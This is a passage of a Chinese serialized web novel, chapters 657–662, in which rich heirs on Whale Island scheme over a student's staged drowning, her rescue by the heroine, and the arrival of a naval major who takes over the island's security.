渐渐地,参与的人越来越多,绳索不够大家以身体为纽带,终于,人群在力量达到饱和时开始向海岸线后退…… 第657章 各自为谋 “噼啪——嗒嗒嗒——” 暴雨捶打着落地窗,每滴水珠炸裂时都拖出蜈蚣般的爪痕。 周宴珩陷在真皮沙发里,指尖威士忌的冰块已经融成薄片。 “轰隆——” 一道紫电劈开海面,照亮了倒映在玻璃上的侧脸,优越的眉骨深处瞳孔如寒潭,映不出半点天光。 “阿珩!”关鹤猛地一把撞开房门,大步流星走到周宴珩跟前,“韩洋那小子还真动手了。” 周宴珩撩着眼皮扫了一眼窗外,指尖一点开了手机屏幕。 关鹤趴在窗边,唏嘘不已,“下这么大的雨,余笙这次恐怕是凶多吉少?” 等了半天不见周宴珩没有回应,关鹤回头打量沙发上的人影,见周宴珩一门心思都在手机上完全不搭理他,啧了一声转手给自己也倒了杯威士忌。 “阿珩,余笙怎么惹到你了?” 他拎着玻璃杯晃了几圈,略有疑惑盯着周宴珩上下打量。 上午蔡严才出手,这家伙就让他放出风声给余笙造势,让所有人都以为给鲸港美院撑腰的是余笙。 这种时候出这种风头于当事人来说绝不是好事,因为规则一旦被改,触犯的是所有特权者的利益,单凭现在的余家根本震慑不住,对余笙来说更是灾难。 余笙也是深谙这个道理,所以才会在目睹双方冲突后选择了明哲保身。 “嗯?”周宴珩指尖一顿。 目光锁定在聊天室的在线人群。 原本他和另外两个人的IP都锁定在鲸鱼岛,但现在,他们三人的IP位置有细微的变换,他和Y显示在陆地,而另一个S显示在海域。 周宴珩扯着嘴角笑了笑,眼里满是戏谑。 他早就怀疑这个S就是余笙,只不过一直没有证据,正好蔡严有动作,他便想着干脆试一试,没想到一试就试准了。 一个组织里竟然招纳了世族、王族、权贵的新生代,幕后之人到底想做什么?除了他是因为无聊想找点乐子,其余人又是因为什么被招揽进去了? 不得不说,他对这背后的阴谋很有兴趣。 关鹤发现自己最近越来越看不懂周宴珩了,以前也没看懂,但好歹有规律,这家伙喜欢猎奇,所有事都追求新鲜感,但这次对余笙出手,实在是有些莫名奇妙。 余家对周家一直很恭敬,余笙也从不曾招惹过周宴珩,怎么就被这家伙盯上了? 他想了想,觉得周宴珩动机可疑,眯着眼凑上前,“你到底在想什么?能让蔡严不惜得罪咱们所有人都要讨好的人,这岛上还能有谁?你把这黑锅往余笙头上盖,不会是还没想通,铁了心要当舔狗吧?” 周宴珩挑眉,“你骂谁是狗?” 关鹤这才松了口气,笑着端杯敬了一个,“这就对了,别忘了姜花衫那狗逼是怎么对你的?你要奔着玩她去的,作为兄弟我支持你,但你要是被她玩,啧~出去别说你认识我。” 周宴珩笑了笑,并未延续这个话题。 关鹤见状,忽然想到什么,瞪着周宴珩嘶了一声,抓了抓头,“不对!这件事闹这么大,韩洋那几个一定收不了场,你是冲着他们去的?” 余家虽然震慑不住这些财阀联盟,但若是余笙丧命,这些有把柄落在余斯文手里那就未必了。 “阿珩,你什么意思?” 周宴珩端起酒杯,垂眸喝了一口,懒懒道,“咱们围岛建城不是还差点钱吗?” 关鹤顿时眼睛一亮,做贼心虚四处看了看,“韩洋要是惹上了余家,韩家为了抱住嫡孙就是砸锅卖铁也没话说,咱们的确可以趁机捞一笔。只不过……韩家毕竟跟了周家几十年,要是被你家老爷子知道了,会不会……” 周宴珩,“就是因为跟了几十年才该是时候鞭策了。” 银星通过周家的关系拿到了五分之一的兵役赎买资金,如今连政府都礼让三分,若是不适当打压,只怕连主人是谁都忘记了。 “看见你还是这么喜怒无常,阴险狡诈,我就放心了。” 关鹤瞬间明白了周宴的用心,终于把心吞回了肚子。天知道当初看见周宴珩被姜花衫当面泼了一杯热水都不知道反抗,他当时有多气! “阿珩哥!阿鹤哥!!” “砰砰砰——” 门外忽然传来一声急促的敲门声。 关鹤立马收敛笑容朝周宴珩挑了挑眉,“散财童子来了。” 说着,一口饮尽,慢悠悠站起身去开门。 “怎么了?鬼吼鬼叫的?” “阿鹤哥!” 门一开,韩洋扑身抱住关鹤的腿,“阿鹤哥,这次你一定要救救我!!” 关鹤愣了愣,回头看了周宴珩一眼,故作不解扣了扣耳朵,“什么事儿这么严重?先起来。” 韩洋这才发现周宴珩也在,顿时眼前一亮,跪地扑向周宴珩,满脸乞求拽着他的裤脚,“阿珩哥,看在我们韩家对老爷子忠心耿耿的份上,求你救救我吧。” 周宴珩神色淡然,“出什么事了?” 韩洋眼里满是惶恐,“我看不惯余笙踩着我们的面子给余家立威,便私下找了人想给她个教训。谁知道那些人下手没轻重,竟然趁着雷暴天气把余笙推进海里了。” 周宴珩,“死了?” 韩洋摇头。 关鹤,“没死你怂成这样?” “我不能不怂啊!”韩洋抱着周宴珩的裤脚嚎啕大哭,“原本只是余笙落水,但后来不知道怎么回事,姜花衫也跳下去了。那是姜花衫啊!沈老爷子要是知道了,不单单是我,韩家只怕都保不住了。” …… 第658章 反其道行之 “什么!!!” 关鹤原本还一脸悠哉,听见姜花衫三个字,脸色骤变不说,连声音都吓成了海豚音。 “你说什么?姜花衫也跳海了?” 周宴珩抬腿一脚踩着韩洋的肩膀,“怎么回事,说清楚。” 韩洋吓得浑身打哆嗦,“我也不知道怎么回事?听说好像是姜花衫听见苏韵呼救,主动跳下去救人,现在一堆人站在海边捞人,连警署厅都出动了。” 关鹤气得直接对着韩洋踹了一脚,“那你还过来干什么?还不赶紧滚?” 原本沈家就对他们有偏见,要是那祸害真出了什么事,他们只怕也会被这傻逼连累的。 韩洋当然是知道事情的严重性才来的,余笙死了,有周、关和财团联盟作保,他顶多就是吃些苦头。但如果是姜花衫出了事,这一条路线的人都别想好过。 他不顾身上的疼痛,立马爬起身抱着关鹤的腿,“阿鹤哥,我真的不是故意的,我也没想到姜花衫会突然跑去救人,我……” 周宴珩脸色阴沉,转头看向窗外的天气,沉默片刻站起身,“去看看。” * “拉!!” “快!大伙儿加油!!已经靠岸了!!!” 白浪翻涌,潮湿的岸边印着一串串方向一致的脚印。 “哗啦!” 终于,在众人坚持不懈的努力下,一黑一白两道身影被拽出了深海旋涡。 “快!担架!快!!” 蔡严撕扯着嗓子冒雨指挥医护救治,脖子上的青筋暴动,看着十分吓人。 姜花衫从被拖上岸一直保持着安详的睡姿,不管宋溪她们怎么叫唤,完全没有要醒来的意思。 余笙就比较惨,因为中途又呛了好几口海水,连吐了好几口海水后彻底晕了过去。 * 晚上八点,大雨转停,海面恢复了往昔的平静。 环岛中心的医疗室灯火通明,警署厅的人里里外外重兵把守,一个外来的苍蝇都飞不进去。 余笙脸色苍白靠着床头,望向镜头的眼神略有些呆滞。 镜头另一边,余斯文西装革履,略显疲态,“今天的重要会议太多了,所以没能第一时间了解情况,阿笙,你现在感觉怎么样?” 余笙,“已经好多了。” 余斯文捏了捏山根,正色道:“听说这次是沈家的姜小姐救了你?” 提起姜花衫,余笙脑子里立马闪过一张凶残的脸,她沉默半晌点了点头,“幸好有她。” 余斯文,“既然姜小姐于你有救命之恩,你也好好谢谢她才是。” 余笙眼睑微动,点头,“父亲放心,我会的。” “嗯。”余斯文又道,“你怎么会突然掉进海里?” 余笙指尖轻轻摩挲着身下的床单,她原以为父亲第一句会问这个,但他没有。 她咽下喉间的苦涩,声音嘶哑,“我也不知道,当时天气突变,所有人都急着往宿舍跑,我和阿韵混迹在人群中,雨势太大,等我反应过来的时候人就已经被人撞进了海里。” 余斯文耐心听完,思忖片刻问道,“你最近有没有得罪什么人?或者,你有怀疑的人吗?” 余笙将这三天上岛后发生的事细细回想了一遍,并未发现自己有什么不妥。 她摇了摇头,“我不知道。当时场面太混乱了。” 余斯文端杯喝了一口咖啡,不紧不慢道,“阿笙,你觉得有没有可能是苏小姐?” 余笙涣散的眼神忽然聚焦,“您说阿韵吗?不可能!父亲,绝对不会是她。” 余斯文缓缓抬眸,语气寻常,“你不用紧张,我只是提出一个可能,并非是指认谁。你也说了,当时情况很混乱,而苏小姐就站在离你最近的地方。” 余笙摇头,“不会是她,她没有理由这么做。” “阿笙。”余斯文取下眼镜,用纤维布细细擦拭干净后又戴了上去,“我只是说可能。” 依旧是温文尔雅的一张脸,但却不知为何莫名有压迫感。 余笙抿了抿嘴角,片刻后抬眸对上余斯文的目光,“父亲,没有这种可能。” 若是平时,这个话题已经结束了,这算是余笙自懂事以来第一次因为一个未定的真相和自己的父亲争辩。 余斯文微微有些惊讶,但见镜头里的女生眼底满是血丝,眸光却亮得惊人。 他沉默片刻选择了退让,“好的。我收回刚刚的怀疑。” 余笙脸色这才缓和了许多。 余斯文见状,温声叮嘱了几句便挂了电话。 余笙看着寂灭的屏幕,眼底闪过一丝幽光。 * “阿笙,你觉得有没有可能是苏小姐?” 苏韵走在退潮的沙滩边,耳边一直回响着这句话。 她并非有意偷听,只不过刚好去探视的时候就听见了这一句。 也许,这就是天意吧。 苏韵仰着头,面无表情吹着海风。 果然,人一旦被打上标签,做什么都是徒劳。 * 与此同时,另一间病房里。 姜花衫悄悄掀眸,隐约看见床头立着三道人影立马又不慌不忙闭上双眼。 傅绥尔双手抱胸,居高临下看着她,“我已经把你英勇救人的视频发送到家族群里了,你还有什么要跟我们说的吗?” “……”姜花衫爬起身,抿着嘴角微笑,“大家都怎么说?” 沈眠枝点开手机,“只有清予哥给你发了个拇指,其余人都没有说话。” 姜花衫想了想,其余人里包括的是:爷爷、女王、沈龟灵、沈兰晞,她表示问题不大,立马又躺了回去。 傅绥尔见状气得牙痒痒,但大家一起经历了这么多,很多事已经无须言明,最后傅绥尔有气无力叹了口气,“你知不知道,你差点就回不来了?” 姜花衫笑了笑,“怎么会,我不是好好的吗?” 救余笙,她并非是一时冲动。 她早就摸清了剧目的发展规律,凡是重要剧目发生之前一定会衍生许多小支线,这些支线看似是一根根毫无关联的枝芽,但只要主线出来,它们立马就会被关联起来,成为相互作用的因果。 上一世,余笙是极其重要的剧目的人物,这样的人怎么会无缘无故落水?这其中定然藏着什么隐秘? 所以,她当机立断决定所有的事都和剧目反着来,不仅仅是在跳下海救余笙这件事上,甚至是对苏韵她也采取应对的手段。 这一世,剧目让苏韵成为了一个亲手断送善良的人一定有它的用意,那她就设法让苏韵再选一次,只要有一次结果不一样,蝴蝶效应就会产生。 …… 第659章 沈少校,前来报到 翌日清晨。 天光从海平线渗出,三只小沙蟹慢悠悠在海边散步。 大海另一头,一艘巨大的渡轮仿佛末日的吞天兽慢慢向海浪线推移,岸边的人们停步驻足,反应过来后纷纷惊呼。 “快看!是南湾第1作战军团的驱逐舰!!!” “让让!让让!!” 蔡严在医疗室守了一夜,人还没调整过来就收到了南湾舰队入岛的消息。 警署厅一行人刚到岸边,停靠在岸边的巨型舰体“铿”地一声展开液压舷梯精准与码头桥接。 海风在舰桥出口处驯化为流波,沈归灵现身时,浪沫骤然悬停半空。 ——嗒、嗒、嗒。 他拾舷梯而下,漆皮军靴叩击钢阶的脆响精准如蔚蓝表盘里行过的秒针。 蔡严莫名感觉到了一副逼人的气势,有些心虚咽了咽嗓子。 沈归灵站定,向蔡严行了海军礼,金穗流苏在肩章在海风中徜徉。 “南湾舰队第一师少校,沈归灵前来报到。” 不是?!少校?这位大少爷官阶又升了?这样的晋升速度只怕不要几年就赶上他了。 蔡严眉心直跳,强装镇定回以军礼,“欢迎。” 沈归灵收礼,微微抬头,露出优越的下颌线,“我部受军区总部委任,现在正式接管鲸鱼岛,还请蔡厅长配合。” 岸上的学生不明所以,只当上面是因为昨天落水的事特意加强了安防,一个个围在岸上欢呼起来。 “哈哈哈!是真正的军团,上面竟然派了一艘巡航舰来保护我们,我们的日子也是好起来的。” 在A国,军政两制,虽说是相互制衡,但其实军权远胜于政权。政府若不作为,第二天就会被A国民众骂上热搜。但在A国,没有人敢吐槽真正的作战军团,因为A国是当之无愧的军事强国,强国无弱兵。 蔡严万万没想到他才向沈家透露绑架案的信息,沈家转头就把南湾舰队调来了,可见老爷子对族中这几个孩子有多看重。 他立马敛神,端出一副礼贤下士的姿态,“海岛防控你们比我们有经验,沈少校放心,我们警署厅一定配合。” 沈归灵点头,“听说昨日傍晚岛内发生了一件恶性落水事件?” “这个……” 这个问题可不能随便回答。 姜花衫和余笙落水是昨天傍晚才发生的事,南湾距离鲸鱼岛需要一天行程,由此推断沈归灵应该是在来的路上得知了消息。 蔡严面上不显,心里却九转十八弯。 姜花衫出事后,他曾第一时间致电沈家说明情况,得知这次没有任何人挑衅姜花衫,是她自己跳下海英勇救人后,老爷子并未问责,只说按规矩办。 可现在,沈归灵直接把这件事定性为‘恶劣事件’,显然是别有用意。 蔡严想了又想,最终决定抱紧沈家这棵大树,小声提醒,“昨夜余笙小姐突然落水的确有许多可疑的地方,警署厅的人已经封锁现场,因为当时现场太乱,取证有些困难,所以暂时还没有进展。” 沈归灵点头,“当事人醒了吗?” 蔡严,“醒了,” 沈归灵,“现场再乱也一定有目击者,警署厅这边可以继续摸查,至于嫌疑人……” 他顿了顿,一本正经,“未免错过什么重要线索,我亲自再问问。” 蔡严不疑有他,顿时眼睛一亮,主动上前领路,“还是沈少……沈少校思虑周全,这边请。” * 环岛中心。 “什么?沈归灵来了?!” 关鹤蹲了一晚上,听说姜花衫没事才把心吞回了肚子,没想到还没消停两分钟又横生枝节。 他噌地一下站起身,趴在窗台往人群聚集的方向张望,“狗东西,竟然把南湾第一团的战舰都开过来了,装逼给谁看?” 韩洋一夜没睡,神情恍惚看向周宴珩,小心翼翼试探,“阿珩哥,姜花衫和余笙都没事了,这件事是不是就算过去了?” 过去了? 周宴珩实在不知道怎么会有人这么愚蠢的,他扯着嘴角笑了笑,“你现在顶多算是没招惹沈家,但余笙这件事,你以为你能脱得了干系?” 韩洋神情惶恐,犹豫片刻脱口而出,“我已经找好替死鬼了,到时候警署厅的查下来自然会有人替我顶包。不过……我怕余家到时候闹出什么幺蛾子,所以阿珩哥,你能不能帮我这一把?” 周宴珩,“怎么帮?” 韩洋,“你能不能替我作证,余笙出事的时候我和你们在一起?只要那群人没有证据,就定不了我的罪。” 关鹤嗤了一声,“你想让我们做伪证?韩洋,你搞清楚,你捅的篓子不小,这事弄不好我和阿珩都会惹得一身腥。” 韩洋低着头,沉默片刻抬眸偷偷打量周宴珩,见他正漫不经心看着自己,韩洋顿时心跳漏了一拍,立马又低下头。 周宴珩,“你有话说?” 说也是死不说也是死,赌一把! 韩洋眼底掠夺一丝暗芒,紧紧攥着手心,“阿珩哥,大家跟着你这么多年,谁的手是真正干净的呢?” 关鹤戏谑的嘴角渐渐收拢,“韩洋……” 周宴珩抬手,一脸风轻云淡,“让他说。” 话说到这已经没有退路了,韩洋咬了咬牙,抬头迎上周宴珩的目光,“阿珩哥,在育才但凡是你看不顺眼的,第二天绝不可能再出现,您的手早就不干净了。还有萧澜兰,你像逗狗一样羞辱沈家表小姐,连沈家你都不怕,又怎么会把区区余家放在眼里呢?” 当初所有人都以为萧澜兰私生活不检点,暗胎珠结想嫁祸周宴珩,但事实到底是怎样,韩洋作为一只跟随周宴珩多年的狗腿自然比谁都清楚。 周宴珩挑眉,“你威胁我?” 韩洋不是没见过周宴珩磨砺人的手段,若不是逼不得已他也不敢招惹这个疯子,几乎是条件反射,他立马跪下伏低做小,“阿珩哥,我也是被逼无奈,我只求你能拉我一把。只要你愿意帮我这一次,我以后一定给你做牛做马,报答你这次的恩情。” 周宴珩沉默了片刻,笑了笑,“回去等消息吧。” 关鹤转头看向周宴珩,见他眼里的笑意毫无温度,便知道眼前这个蠢货要倒大霉了。 韩洋毫无察觉,反应过来一脸惊喜看着周宴珩,“阿珩哥,你同意了?” 周宴珩点头,“这件事我会处理。” “太好了。” 韩洋顿时喜不自禁,余笙和姜花衫现在已经安然无恙,只要周家愿意帮忙,他应该不会有事了。 “谢谢阿珩哥,”韩洋连忙起身,对着周宴珩鞠躬致谢,转身时见关鹤冷冷看着他,立马又俯身躬拜,“谢谢阿鹤哥。” “滚啊。”关鹤看着恶心,十分嫌弃摆摆手。 韩洋没有丝毫不悦,小心翼翼陪着笑,“是是是,马上滚。” 待人走后,关鹤主动走到周宴珩跟前,表情玩味,“还真被你说中了,不驯化的狗是会咬主人的,现在怎么弄?” “什么怎么办?岛上四面临海,连总统千金都免不了意外,一般人就更不好说了。” “你说真的?” 若是平时,随便弄个什么小意外就解决了,但现在南湾舰队接管了鲸鱼岛,他们要闹出什么动静被沈归灵抓出把柄可就不是好玩的了。 关鹤想了想,有些不赞同,“要不还是先忍忍?可别忘了,你和沈归灵之间还有段旧怨,你要是落在那狗逼手里,他能弄死你。” 周宴珩抬眸,眺望窗外,眸光冷沉,“一个上不了台面的私生子罢了,我还会怕他?” …… 第660章 你刚刚一直叫我的名字 “沈少校,这边。” 蔡严亲自将人领进医疗室。 这时,警署厅的警员上前报备了几句,蔡严抬手指着前面的病房,“那边是姜小姐的病床,但她现在还没起来不便打扰,余小姐的病房就在隔壁,要不先问问余小姐?” 沈归灵点头,“行,劳烦蔡厅长稍后把余小姐的口供提供一份给我。” “?” 没等蔡严反应过来,沈归灵已经转身径直往姜花衫的病房走去。 “……” 这……这对吗? 蔡严一时摸不准沈归灵的做事风格,想了半天忽然恍然大悟。 沈归灵能来鲸鱼岛定然是沈家老爷子授意了,只怕老爷子不信岛上之人的话,沈少爷这么迫不及待去找姜小姐,定然是老爷子有什么吩咐。 念此,蔡严立马摆正脸色,指着角落独立病房,“你们,去那边好好守着,不许任何人打扰沈少校问话。” “是。” “等会儿!” 万一沈少爷出来见门口站了两个门神,只怕会误会他别有用心。 蔡严思虑再三还是有些不放心,立马补充道,“你们都给我站远点守着,不许上前打扰。知道吗?” 两个小警员相互看了看,“知道了。” * “一年的时间,你好像又胖了?” 姜花衫双腿盘,双手托腮看着眼前的剧目之门,这一年,不光她成长了,她识海中的剧目之门也长大了。 原本还带着嫩芽的藤蔓已经粗了整整一圈,茂密的枝叶尽情舒展,花苞也渐渐有了微弱的亮光。 “哟,这是要开花了?” 姜花衫逮着一根摇摆的枝条,顺手摘下微弱的光苞,原本保持着花苞雏形的荧光骤然在她指尖消散,藤条原本还十分惬意向四周舒展,失去光苞像是被触发了什么惊恐极致,嗖得一下全部缩回了剧目之门,死死缠在书扉上一动不动。 这已经不是她第一次薅光苞了,从她发现枝蔓有开花的趋势,她没事就薅一两朵,剧目之门对于她这种行为深恶痛绝,但又无可奈何,每次看见眼前这个场面,姜花衫都有种她是色魔,在调戏良家妇女的感觉。 这一年除了生日后莫名其妙多了一个标签,剧目之门再也没有发出过任何声音。 至于那个标签。 -创造者。 剧目之门曾经说过:剧情人物都有标签,随着剧情铺展,人物的标签也会慢慢完善。负面标签是作为违反剧目规则的处罚,人物标签则反应的是当事人在剧目中的表现进行结算。 所以,她推测这个【创造者】应该和她利用剧目之笔改写沈娇结束有关。 剧目人物里的标签有些定义的是人物品质,有些是人物属性,还有些事人物能力,如果她的推断是正确的,【创造者】这个标签对于一个虚拟书本世界来说简直是化神的存在。 这代表她已经拥有了可以独立创作某段剧情的能力,且还是官方亲自授予的。 为了这验证个想法,她这一想尽办法和剧目之门斗智斗勇,但始终没有任何线索。 姜花衫盯着指尖消失的光苞,又抬头看向越缠越紧的藤蔓,直觉告诉她这些花苞一定有问题,但薅了一年一直都是这样,到底是哪里有问题? 难道是薅得太少了? 她猛地拍了拍大腿,站起身撸袖子。 要不她再多薅一点,看看这家伙会是什么反应。 似乎感觉到了姜花衫的意图,剧目之门突然爆发出一阵强光,收拢的藤蔓立马钻进厚厚的纸里。 “往哪躲?” 姜花衫一个箭步上前,徒手攀上抱成一团的藤蔓,使出吃奶的劲一顿疯薅。 她早就发现了,在外面,剧目之门可以利用剧目之力生成歹毒的剧情给她教训,但要在识海内,它完全不是她的对手,想要对付她,终究只有一招…… “怦——” 姜花衫只觉嗡了一下,这种震荡的感觉好似被人开了瓢。 果然,又强行把她踹出来了。 她捂着额头,缓缓挑动眼睑。 正准备闭眼重新进去打架,忽然,眼睑掀起,细碎光尘在睫毛下簌簌震颤。 她立马又闭眼,再睁开时那张原本隔着一段距离的脸突然凑到了跟前。 沈归灵俯身撑在她枕侧,指尖轻轻划过她的脸颊,勾住一缕刘海绕过耳后。 他笑了笑,重睫垂落的眸光缱绻温柔,“你刚刚在睡梦里一直在叫我的名字~” 姜花衫,“……” 第661章 创造者 要不是她脑子现在还疼得厉害,差点就要信了。 诡计多端的男人。 姜花衫一把拍下沈归灵的手,拉开一段安全距离才慢慢坐了起来,满脸警惕打量四周。 “你怎么会在这里?你来的正好,我这里正好有几件很棘手的事没想清,你给我捋捋……” 她突然像打了鸡血,双腿盘坐,一本正经举手比划,“我觉得这次余笙落水一定不简单,你想想……” 沈归灵挑眉,身体微微后仰,一言不发看着她。 姜花衫噼里啪啦说个没完,感觉嗓子有些干,正要抬手,沈归灵立马递上温水。 她顺手接过,咕噜猛干了一口,刚缓上一口气立马又开始噼里啪啦。 “你说,到底是什么人要害余笙,对方到底有什么目的?总统大选马上就要开始了,难不成是跟这件事有关?” “……” 那张挂着水滴的红唇一张一合,沈归灵沉默片刻,转身给自己倒了杯水。 他现在仕途顺遂,前途光明,基本已经没有什么事让他觉得攻克不下,除了眼前这个祸坨子。 这一年,沈归灵有了最大的烦恼,就是怎么都治不好女朋友的事业脑。 姜花衫输出一堆,终于发现沈归灵反应不对,放下水杯双手叉腰,“我说话你有没有在听?” 沈归灵立马作出一副很认真的样子,严肃道:“周宴珩。” 他并没有解释说自己在听或是没听,而是直接给出了的结论,这种处理方式让姜花衫迅速降火。 “周宴珩?”她皱眉想了想,一时没想通,瞪大了眼睛凑向沈归灵。 “你是说对余笙下手的是他?” 沈归灵被突然凑近的脸迷得有些分不清东南西北,忽然觉得事业脑也挺好的,起码不容易被人骗走。 他故作风轻云淡,点了点头,“嗯。” “你为什么觉得是他?”姜花衫一脸疑惑。 沈归灵想了想,挨着床边坐下,“是最好是他。” 见姜花衫还是一知半解,他勾了勾手指,轻声解释,“沈亦杰已经承认周宴珩就是组织中的一员,既然他和沈年是一伙的,以后必定会和我们为敌。岛上就这么多人,余笙的身份摆在那,敢对她下手的无非就是那几个圈子……” 姜花衫琢磨了一会儿,顿时眼睛一亮。 当初知道是周宴珩布下未央台的谋杀事件,她就一直想找机会反击,但周家因为周绮珊离世一直闭门谢客,周宴珩又被家族派去支援北湾,这一年都不在鲸港,以至于她一直没有找到机会。 沈归灵这话倒是提醒她了,眼下这机会不是来了? 这狗东西天天在背后阴别人,现在也该让他尝尝被陷害栽赃的滋味了。 姜花衫主动凑上前,笑的阴险邪恶,完全一副恶毒女配的做派。 “我知道了!咱们就认定周宴珩,如果不是他,他为了自证清白一定会把真正的凶手找出来,这样反而省了力。万一压中就是他,我们就趁机踩死他!” 温热的馨香沿着脖颈的静脉游走,沈归灵努力让自己保持清醒。 “嗯~” (今天有点事,晚点给大家补齐。) 第662章 少女心事(补全) 鲸鱼岛。 另一间病房里,一夜的沉寂被悄然掀开一角。 余笙背靠着病床,认真回答着蔡严提出的每个问题,她的逻辑很清晰,丝毫看不出才经历过一场生死大劫。 阳光从窗台落下,慢慢向屋里过渡。 “余小姐,你说的这些我都记录好了,你看看还有没有什么需要补充的?” 蔡严一直谨记沈归灵的吩咐,将手里的笔录仔细阅读了一遍后又交给余笙确认。 余笙双手接过,目光细细扫了一遍,摇了摇头,“没有。” 蔡严点头,再次接过笔录,临走前忽然想到什么,略有迟疑问道,“对了!冒昧问一句,余小姐最近有没有得罪过什么人?” 余笙沉吟片刻,缓缓抬眸,“有件事,不知蔡厅长是否耳闻?大家都说,警署厅介入东湾贵族和鲸港美院的事是我在背后挑唆,您大刀阔斧修改了岛上的生存法则,许多人因此不满转而记恨上了我,所以,我猜……或许我落水就与此事有关。” 昨夜与余斯文通过电话后,余笙就隐隐察觉到了不对,当即问了几个平时关系不错的小姐妹。 他们是一个圈子的,传的什么流言蜚语基本都知道。 小姐妹告诉她,现在大多上层圈的人都对她很是不满,认为她联合警署厅改动规则是背叛了自己的阶层。 余笙左思右想,觉得问题可能就出现在这。 蔡严并未惊讶,这些贵族少爷小姐他接触的太多,深知余笙的怀疑是极有可能的。 他脸色严肃了几分,“余小姐这么说,是不是已经有怀疑对象了?” 没由来的,余笙忽然又想起昨夜余斯文的暗示。 父亲想让她指认苏韵。 余笙摇头,“没有。” 蔡严简单记录了几笔,点了点头,“余小姐放心,我们警署厅一定会查明真相的,你好好休息。” “蔡厅长……”余笙见他要走,立马出声喊住蔡严。 蔡严愣了愣,侧身看向病床上的女生,“还有事?” 余笙,“您知不知道,此前警署厅已经过来做过笔录了。” 蔡严当然知道,那还不是因为沈归灵说要看笔录,他怕属下做事有遗漏,所以才又亲自过来询问。 到这种事怎么能明说?蔡严轻咳了一声,“我们也是考虑到那个时候余小姐刚醒,可能会有思虑不齐的问题,特意多准备了一道工序。” 余笙嘴角微笑,“还是您考虑周全。笔录做得这么细致,是上面有人来了吗?” “……”蔡严不由多看了余笙一眼,从刚才打交道到现在,这是他最能感受到余笙政治权术的一次。 一黄毛丫头竟然仅凭一次笔录就推断出了上面派了人,足见心思细腻。 蔡严不知,这点程度的观测对于余笙来说根本不值一提,这么多年耳濡目染,她早就总结出来了经验: 能让一个原本不负责基层工作的领导突然下基层,要么就是底下有人采访,要么就是上面有人下来。 昨夜受她牵连的还有姜花衫,她的身份可不一般,所以她猜是沈家派人来了。 余笙,“看您的反应,我猜中了?若真有人故意推我下水,这个幕后推手一定有些棘手,不知上面派了什么人来? 南湾巡航舰登岛也不是什么机密的事,蔡严想了想没有隐瞒,“是南湾舰队,此次负责对接岛上安全的是沈归灵,沈少校。” 窗帘的缝隙,被晨风吹得微微翕动。 余笙的眼底好似被掀起了惊天暗涌。 少校? 短短一年时间,他竟然已经是南湾海舰队的少校了。 余笙全然忘记了蔡严的存在,垂着头怔怔看着眼前的白色床单。 倏尔,眼前的白色与昨夜的海浪在脑海中慢慢重叠。余笙忽然感觉全身冰冷,仿佛再次置身于惊涛骇浪之中。 其实,她记得自己在昏迷前喊着沈归灵名字这件事,她也知道,姜花衫一定是听见了才把她丢出去的。 那个时候,她除了害怕更多的是觉得羞耻。 她一直以为自己洒脱果敢,拿得起放得下,但万万没想到,生死关头她却活成了自己最讨厌的样子。 当初余家初入鲸港,无权无势无根基,她一眼就看中了同样境地的沈归灵。 但后来,沈归灵当着全贵族的面拒绝她,她便也觉得没有再坚持的必要了。 所以,父亲为她挑选新的‘合作盟友’时,她也并未拒绝,甚至还主动迎合。 尤其这一年,她不要命地努力向自己的目标奋进,偶尔想起沈归灵也只是会心里暗暗较劲,总有一天,她会让他后悔当初的选择。 正是这种种反应让她骗过了自己,自以为是地觉得自己是个有主见、有思想的新时代女性。 但人在临死前的反应才是最真实的自己,她再也骗不了自己了。 真正的余笙懦弱且胆小,是个口头标榜女权实际却只会仰望男人的骗子。 多么可笑,她乞求了神明,乞求了放弃自己的人,却从未向内求过自己。 两间病房相隔并不远,偶尔,余笙也能听见隔壁串联在一起的欢笑声。 她眨了眨眼,神情麻木缓缓捂住耳朵。 此时,脑海里的浪花垂直落下,她耳边一直回荡着姜花衫那句。 “你怎么不求求自己,沙壁!” * 那边,蔡严一门心思只想着如何跟沈家人交差,见余笙忽然脸色不好,只当她是没有休息好,随意叮嘱了几句便出了病房。 他原想去看看姜花衫,但还没走进就听见里面传来一片欢声笑语,蔡严惯会察言观色,知道这个时候不便打扰,索性直接回了岛内的警署事务所。 余笙的证词比上一份指向性更明确,这下他们有的忙了。 蔡严刚坐下,屁股还没焐热,一名年轻警员神色匆匆冲进了办公室。 “长官,刚刚金滩那边打电话过来,说是一群学生出海玩帆船,有人翻船掉进海里后人离奇失踪了!” 蔡严眉心跳了跳,拍案而起,“什么叫离奇失踪了,把话说清楚!” 小警员吓了一跳,噤若寒蝉,“我也不知道,电话里就是这么说的。” * 银星银行董事长长孙离奇消失的消息不胫而走,前有余笙落水,后有韩洋生死不明,岛上众人胆战心惊,众说纷纭。 渐渐地,不知从哪传出的谣言,说是鲸鱼岛海底有海怪,专门拖人下水。 珊瑚岛沙滩的中心餐厅,聚集了一堆看热闹不嫌事大的纨绔们,这些人不仅没有因为韩洋失踪而焦虑,还大张旗鼓煽动海怪传言,嬉笑散漫异常地扎眼。 “叮铃——” 余笙推门进入餐厅时,原本还在嘻嘻哈哈的人群忽然安静了下来,所有人略有深意看了她一眼,相互交换眼神后又继续嘻嘻哈哈。 “阿鹤哥,你真看见海怪了?长什么样子,你给我们说说呗。” 关鹤戴着一副黑框墨镜,双手枕着脖子,翘着二郎腿,老神在在的大爷模样。 “两个窟窿眼,尖嘴獠牙,屁股后面还长了根须,对了!” 他忽然坐起来,笑得不怀好意,拿手往胸前比划了一下,“前面还掉了两个地雷,那玩意还想勾引我下海,但太丑了,我没兴趣。” 说起有关指向性的特征,围观的人群立马跟着起哄。 “哈哈哈,韩洋那小子该不会是去海里跟母夜叉幽会去了吧?” 余笙只当没听见这些人放屁,径直走向与自己交好的姐妹圈。 刚落座,她便主动和大家打招呼,但说了两句话都没人搭理她,以往与她关系亲密的小姐妹脸色也有些不对劲。 她是个心思细腻的人,哪怕对方不动声色,她也能察觉对方喜不喜欢自己,何况是这么明显的排斥? 余笙似乎明白了什么,抿着嘴角笑了笑,优雅起身,主动换了一个冷清的座位。 女生圈里有两个女生不忍,正要起身又怕同伴拉了回去。 那边,人群依然喧嚣。 起哄的人还在带节奏。 “不对啊,这年年都有联盟,怎么偏偏今年遇上海怪,你们说是不是老天爷在警示什么?” “年年都有规矩,山鸡哪能与凤凰齐头?德不配位就有天灾预警咯~” 余笙默不作声,表情淡定拿出手机扫码点单。 但围绕在耳边的噪音一刻都不曾停歇过。 “阿鹤哥,你不是见过海怪吗?她有没有跟你说什么?” 关鹤,“说的鸟语我哪能听懂?不过,她给了我一个魔法盒子,说是当众打开会有惊喜。” 